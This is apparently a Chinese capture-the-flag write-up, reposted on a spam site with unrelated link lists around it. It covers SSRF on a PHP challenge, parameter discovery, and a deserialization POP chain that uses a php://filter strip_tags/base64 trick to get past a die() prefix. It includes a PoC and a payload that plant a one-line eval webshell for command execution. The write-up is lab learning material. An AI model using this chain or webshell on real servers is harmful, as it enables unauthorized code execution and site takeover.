当前位置: 首页 > wzjs >正文

一个旅游网站建设一键搭建网站工具

一个旅游网站建设,一键搭建网站工具,如何增加网站关键词密度,专门做壁纸的网站打开页面是个什么Apache2的页面,先扫一扫看看有没有hint 扫一扫还是有东西 尝试访问flag.php一片空白,还有个登录页面 再看看robots.txt会有什么提示吧 继续访问看看 跳出了百度的搜索页面,可以直接搜索读取的话,再结合前面看见的…

打开页面是个什么Apache2的页面,先扫一扫看看有没有hint

 扫一扫还是有东西

尝试访问flag.php一片空白,还有个登录页面

再看看robots.txt会有什么提示吧

继续访问看看

跳出了百度的搜索页面,可以直接搜索读取的话,再结合前面看见的服务器和不安全的协议应该就是SSRF

尝试用SSRF来读取

?path=http://127.0.0.1/star1.php

读取ser.php的源码

<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';class GWHT{public $hero;public function __construct(){$this->hero = new Yasuo;}public function __toString(){if (isset($this->hero)){return $this->hero->hasaki();}else{return "You don't look very happy";}}
}
class Yongen{ //flag.phppublic $file;public $text;public function __construct($file='',$text='') {$this -> file = $file;$this -> text = $text;}public function hasaki(){$d   = '<?php die("nononon");?>';$a= $d. $this->text;@file_put_contents($this-> file,$a);}
}
class Yasuo{public function hasaki(){return "I'm the best happy windy man";}
} 

这里我们可以发现是php序列化的代码,但是没有反序列化的入口 ,去看了一下wp用Arjun来扫描参数

参数是"c"

知道了参数就该开始找pop链了

同样的先找高危函数做链尾file_put_contents,可以通过函数读取文件中的flag,这里通过上传一句话木马来getshell,链尾确定

从后往前推,要触发Yongen::hasaki(),在GWHT::toString()中就直接调用了hasaki()方法

再触发toString方法,构成完整的pop链(但是这里有个疑惑点,__toString()怎么调用呢
然后参考了其他师傅的wp,结合我们暴露源码时最下面的your hat is too black!
应该是源码中反序列化点会直接输出对象,直接能触发该方法。)

逻辑如下
$c=$_GET['c']; if(isset($c)){echo $x = unserialize($c);  //echo 的时候会触发 __toString() 魔术方法}else{echo "your hat is too black!";}
GWHT::__construct()->GWHT::__toString()->Yongen::hasaki()

 关键点就是如何绕过死亡代码<?php die("nononon");?>,这个东西会拼接在我们要读取的变量里面;方法是用strip_tags绕过,死亡代码终究是一句php的标签,用strip_tags把标签去除,php://filter也支持strip_tags(string.strip.tags-------从字符串中去除HTML、PHP标签,是一个非常非常重要的函数)所以先base64编码,用string.strip_tags 将<?php?>全部删掉,再base64解码

poc

<?phpclass GWHT{public $hero;
}
class Yongen{ //flag.phppublic $file="php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";public $text="PD9waHAgQGV2YWwoJF9QT1NUW3NoZWxsXSk/Pg==";
}$a = new GWHT();
$a->hero=new Yongen();
echo serialize($a);
?>

payload

?path=http://127.0.0.1/ser.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:71:"php://filter/string.strip_tags|convert.base64-decode/resource=shell.php";s:4:"text";s:44:"PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==";}}

 在shell.php页面进行命令执行

http://www.dtcms.com/wzjs/563244.html

相关文章:

  • 如何在百度建设企业网站前端毕业设计题目可以做哪些
  • 工信部 网站 邮箱网站运行及维护
  • 绵阳微信网站wordpress 访客文章
  • 湖南城市建设职业技术学院官方网站湖南省公积金中心
  • 景区网站模板乐清网论坛
  • 小企业想做网站推广找哪家强策划书模板免费下载的网站
  • 网站建设的通知wordpress为图片添加圆角
  • 西安学校网站制作东莞建设年审网站
  • 睢宁网站建设自媒体wordpress主题分享
  • 建设谷歌公司网站费用遵义市建设厅网站
  • nodejs网站开发中国建筑股份有限公司
  • 不花钱做推广的网站php做的汽车销售网站
  • 品牌策划网站推荐怎么制作手机网站
  • wordpress能读取代源码吗沈阳网站关键词优化服务好
  • 武邑网站建设公司wordpress 嵌套评论
  • 城阳网站建设公司网站建设叁金手指花总2
  • 公众号的微网站开发教育机构网站开发
  • 用服务器做网站南昌的网站推广公司
  • 加强人社网站建设义乌建站
  • 二级域名做网站有哪些缺点机房网站建设方案
  • 查看一个网站开发语言广州专业网站建设后台管理便捷
  • 全运网站的建设怎么建设游戏网站
  • wp做购物网站简述网站的建设流程
  • 网站的公司百度投放广告怎么收费
  • 服装行业网站建设比较好湖南工商网址
  • 初学者求教怎样做网站最有创意促销活动方案
  • 做MAD生肉网站网站建设费用应该开专票还是普票
  • 网站页面用什么软件做电商平台运营是做什么
  • 小女孩做网站软件外包多少钱
  • 长宁做手机网站建设珠海高端网站建设公司